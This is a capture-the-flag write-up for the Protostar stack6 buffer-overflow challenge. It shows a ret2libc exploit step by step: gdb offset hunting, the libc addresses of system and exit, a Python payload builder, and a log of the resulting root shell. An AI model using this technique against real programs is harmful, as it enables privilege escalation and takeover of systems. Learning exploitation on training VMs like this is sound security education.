About:
Stack6 looks at what happens when you have restrictions on the return address. (
link)
Source Code:
Solution:
Stack6 is similar to the fifth challenge, except there's an additional check in
getpath() to make sure the return address is not on the stack.
This means that if we want our code to get executed, it can't be part of what we pass in as a part of the
gets() call.
I hadn't done any ret2libc-related work before, so this writeup was a really great way to get started -
http://www.win.tue.nl/~aeb/linux/hh/hh-10.html
The high-level summary of what I ended up getting working is to trigger calls to
system() and
exit() within libc, passing in the string "/bin/sh" as the argument to
system(). This let me have shell access, which I could then do whatever I wanted with.
This is the general structure of the buffer we'll pass in:
PADDING SYSTEM_ADDR EXIT_ADDR SYSTEM_ARG EXIT_ARG
This is because when we return to the address of the
system() function (
SYSTEM_ADDR), we need to mimic the calling conventions by placing the address that it should return to (
EXIT_ADDR) and the arguments we want it to be called with (
SYSTEM_ARG) above the saved EIP in the stack.
So first we need to get the offset that will tell us how many bytes long our
PADDING should be.
(gdb) disas getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push %ebp
0x08048485 <getpath+1>: mov %esp,%ebp
0x08048487 <getpath+3>: sub $0x68,%esp
...snip...
0x080484ec <getpath+104>: mov %edx,0x4(%esp)
0x080484f0 <getpath+108>: mov %eax,(%esp)
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
(gdb) break *0x080484f8
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.
(gdb) run < /tmp/a (a file with contents of "aaaaaaaaa...")
Starting program: /opt/protostar/bin/stack6 < /tmp/a
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, getpath () at stack6/stack6.c:23
23 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) x/40h $esp
0xbffff740: 0x85f0 0x0804 0xf75c 0xbfff 0x1b28 0xb7fe 0x0001 0x0000
0xbffff750: 0x0000 0x0000 0x0001 0x0000 0xf8f8 0xb7ff 0x6161 0x6161
0xbffff760: 0x6161 0x6161 0x6161 0x6161 0x6161 0x6161 0x6161 0x6161
0xbffff770: 0x6161 0x6161 0x6161 0x6161 0x6161 0x6161 0x8300 0x0804
0xbffff780: 0x1040 0xb7ff 0x96ec 0x0804 0xf7b8 0xbfff 0x8539 0x0804
(gdb) i r
eax 0x2a 42
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff740 0xbffff740
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x80484f8 0x80484f8 <getpath+116>
eflags 0x200292 [ AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
Ok, so we know from before our offset is equal to the distance between $ebp + 4 - addr_start_of_buffer. In this case, that's
0xbffff7a8 + 4 -
bffff75c, or
0x50.
Because
SYSTEM_ARG needs to be a pointer to a string that contains the command we want to run, it might be easiest to put that string ("/bin/sh" in our case) at the top of our buffer.
This means our buffer has to start with "/bin/sh" and our
SYSTEM_ARG needs to be the address of the start of the buffer.
We still need to get
SYSTEM_ADDR and
EXIT_ADDR, so to do that, let's open up gdb again:
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
Ok, now we're just missing something to pass in as an argument to exit().
Because it doesn't really matter, let's go with 0xFFFFFFFF.
I wrote a short python script to create our buffer:
#!/usr/bin/env python3
#
offset = 80
command = "/bin/sh;#"
filler = "a"*(offset - len(command))
system_addr= "\xb0\xff\xec\xb7"
system_arg = "\x5c\xf7\xff\xbf" # addr of start of buffer
exit_addr = "\xc0\x60\xec\xb7"
exit_arg = "\xff\xff\xff\xff"
print(command + filler + system_addr + exit_addr + system_arg + exit_arg)
Now we just have to create a file to use as the buffer:
user@protostar:/opt/protostar/bin$ python /tmp/stack6.py > /tmp/stack
And pipe that into stack6 (the 2nd cat is used to keep the pipe open and let our commands flow into our shell):
user@protostar:/opt/protostar/bin$ (cat /tmp/stack6-buffer; cat) | /opt/protostar/bin/stack6
input path please: got path /bin/sh;#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa???aaaaaaaaaaaa????`?\???????
whoami (<-- I typed this)
root
ls
final0 final2 format1 format3 heap0 heap2 net0 net2 net4 stack1 stack3 stack5 stack7
final1 format0 format2 format4 heap1 heap3 net1 net3 stack0 stack2 stack4 stack6
echo "woohoo!"
woohoo!
We're done!